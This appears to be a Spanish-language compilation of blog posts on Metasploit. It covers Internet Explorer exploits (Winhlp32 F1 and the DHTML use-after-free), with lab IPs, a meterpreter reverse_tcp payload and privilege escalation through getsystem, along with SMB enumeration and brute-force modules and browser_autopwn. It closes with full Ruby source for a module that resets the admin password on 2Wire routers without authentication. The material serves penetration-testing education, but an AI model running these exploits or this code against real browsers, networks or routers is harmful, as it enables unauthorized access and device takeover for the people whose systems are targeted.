Internet Explorer Winhlp32.exe MsgBox Code Execution

Este modulo explota una vulnerabilidad que permite ejecutar código arbitrario cuando el usuario presiona la tecla F1 en un MessageBox creado a través de un VBscript en una página Web. Cuando el usuario presiona la tecla F1 se despliega automáticamente el MessageBox de ayuda el cual cargará y usará el archivo HLP desde un servidor SMB o WebDAV. Esta versión en particular del exploit implementa un servidor WebDAV el cual enviara el archivo HLP y el PAYLOAD a la maquina atacada.

Durante las pruebas se detectaron mensajes generados por el Payload los cuales pueden prevenir al usuario víctima del ataque, los desarrolladores de este exploit esperan obtener una versión del mismo que no genere estos mensajes de alerta.

Target:
0 - Automatic (default)
1 - Internet Explorer on Windows

Desarrollado por:
Maurycy Prodeus
jduck "jduck [at] metasploit.com"


Se ejecuta el exploit y se espera por la victima:

En la maquina atacada se obtiene un MessageBox alentando al usuario a presionar la tecla F1:

Después de que el usuario da clic sobre el botón Aceptar y presiona la tecla F1 se obtiene una sesión meterpreter:

Los mensajes de alerta que se muestran en la maquina víctima durante este proceso son:



Al dar clic en la opción “Ejecutar” se obtiene:



La sesión de meterpreter obtenida tiene permisos de usuario limitados, por tal razón se usa la función GETSYSTEM la cual nos permite aumentar el nivel de privilegios en la maquina atacada para poder ejecutar comandos más avanzados.

En este caso getsystem (el cual implementa las técnicas disponibles de manera automática) usa la técnica 1: Service – Named Pipe Impersonation (In Memory/Admin).

POC.
Video: AQUI

http://www.youtube.com/watch?v=DlepoeBBxbE

Internet Explorer DHTML Behaviors Use After Free

Este modulo explota una vulnerabilidad del tipo use-after-free que está incluida en el componente DHTML de Internet Explorer en las versiones 6 y 7. Este tipo de error es usado muy frecuentemente y se conoce como la vulnerabilidad “iepeers”. El nombre se da debido a la solución que planteo Microsoft de bloquear el acceso al archivo iepeers.dll.

Targets:
* 0 - (Automatic) IE6, IE7 on Windows NT, 2000, XP, 2003 and Vista (default)
* 1 - IE 6 SP0-SP2 (onclick)
* 2 - IE 7.0 (marquee)

Desarrollado por:
* unknown < >
* Trancer < mtrancer [at] gmail.com >
* Nanika < >
* jduck < jduck [at] metasploit.com >


Se definen las opciones disponibles por el exploit:

1. Dirección IP atacante: 192.168.100.228
2. Dirección IP víctima: 192.168.100.232
3. URL: http://192.168.100.228:8080/hola.html
4. Payload: Windows/meterpreter/reverce_tcp
5. Puerto de conexión con la maquina atacante: 4444

msf > search DHTML

Matching Modules
================

Name Disclosure Date Rank Description
---- --------------- ---- -----------
exploit/windows/browser/ms10_018_ie_behaviors 2010-03-09 good Internet Explorer DHTML Behaviors Use After Free


msf >

---> http://www.nyxbone.com/metasploit/ms10_018_ie_behaviors.html

Illustrating the Process of a Network Attack with Armitage

Comparto excelente video.

Illustrating the Process of a Network Attack with Armitage from Surapheal Belay on Vimeo.

SMB Scanners Metasploit

Metasploit cuenta con varios modulos para la consultar y auditar la seguridad del protocolo SMB.

Podemos hacer un msf > search y posteriormente el nombre de cada uno de ellos para mas informacion msf > info

» smb/pipe_auditor
» smb/pipe_dcerpc_auditor
» smb/smb2
» smb/smb_enumshares
» smb/smb_enumusers
» smb/smb_login
» smb/smb_lookupsid
» smb/smb_version

PIPE AUDITOR

El modulo pipe_auditor puede ser utilizado para determinar qué servicios están disponibles sobre SMB

PIPE DCERPC AUDITOR

Este escáner retornara los servicios DCERPC a los cuales se puede tener acceso a través de un canal SMB.

SMB2

Permite determinar si los diferentes hosts de la red soportan el protocolo SMB2.

SMB ENUM SHARES

Este modulo permite consultar los diferentes archivos y carpetas compartidas en los sistemas de la red. Como se puede observar todos las consultas son bloqueadas en todos los sistemas, una ventaja de este modulo es que permite ingresar las credenciales de usuario / contraseña de manera que esta combinación pueda ser probada en todos los sistemas de la red.

ENUM USERS

El escáner smb_enumusers se conectara con cada sistema a través del servicio SMB RPC y listará todos los usuarios existentes.

SMB LOGIN

El modulo smb_login permite validar el acceso en todos los sistemas de la red a través del protocolo SMB, además maneja una cantidad de opciones mayor a la de otros módulos, entre ellas se tiene la opción de cargar archivos que contengan nombres de usuario y contraseñas, aumentar la velocidad del ataque de fuerza bruta entre otras.

SMB LOOKUPSID

El modulo smb_lookupsid permite determinar que usuarios ahí creados en cada una de las maquinas de la red, esta función es de gran utilidad a la hora de realizar futuros ataques de fuerza bruta.

SMB VERSION

Este modulo permite escanear un rango de direcciones IP en la red para determinar la versión del servicio SMB en cada máquina, así mismo permite visualizar el sistema operativo con el que cuenta cada una de los equipos a los cuales se puede tener acceso, el resultado con o sin credenciales de usuario / contraseña no varía de forma significativa en los resultados.

Tenemos unos Cuantos MAS =)

msf > search smb/smb

Browser Autopwn

Metasploit ofrece la posibilidad de lanzar exploits de acuerdo al la versión del browser que la victima este utilizando, es decir que si el usuario usa Firefox como su explorador predeterminado no se tendrán en cuenta (al momento de ejecutar el ataque) exploits para Internet Explorer.

Para usar esta característica se debe ejecutar el modulo:

msf > use server/browser_autopwn

y cambiar las opciones requeridas como LHOST y URIPATH.

Este ataque puede ser efectuado también para todos los tipos de exploradores existentes como son:

Firefox
Internet Explorer
Opera
Safari
Chrome, etc.

2wire password reset module

Por medio de la lista de correos de bugtraq me entero de lo siguiente.

attached is a metasploit module I coded to reset the admin password on a 2wire wireless router. enjoy

Próximamente pondré la prueba de concepto.

gracias a techhelperjax(at)gmail.com .
==============================================================================================
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize
super(
'Name' => '2Wire Password Reset',
'Version' => '$Revision: 1 $',
'Description' => %Q{
This module will reset the admin password on a 2wire wireless router. This works by using a setup wizard
page that fails to check if a user is authenicated and doesn't remove or block after first access.
},
'Author' => 'Travis Phillips',
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(80),
OptString.new('PASSWORD', [ true, 'What you want the password reset to', 'admin'])
], self.class)

end

def run
begin
print_status("Attempting to rest password to #{datastore['PASSWORD']} on #{rhost}\n")
res = send_request_cgi(
{
'method' => 'POST',
'uri' => '/xslt',
'data' => 'PAGE=H04_POST&THISPAGE=H04&NEXTPAGE=A01&PASSWORD=' + datastore['PASSWORD'] + '&PASSWORD_CONF=' + datastore['PASSWORD'] + '&HINT=',
}, 25)
if (res.code == 200)
if (res.headers['Set-Cookie'])
print_status("Password reset successful!\n")
end
end
end
end
end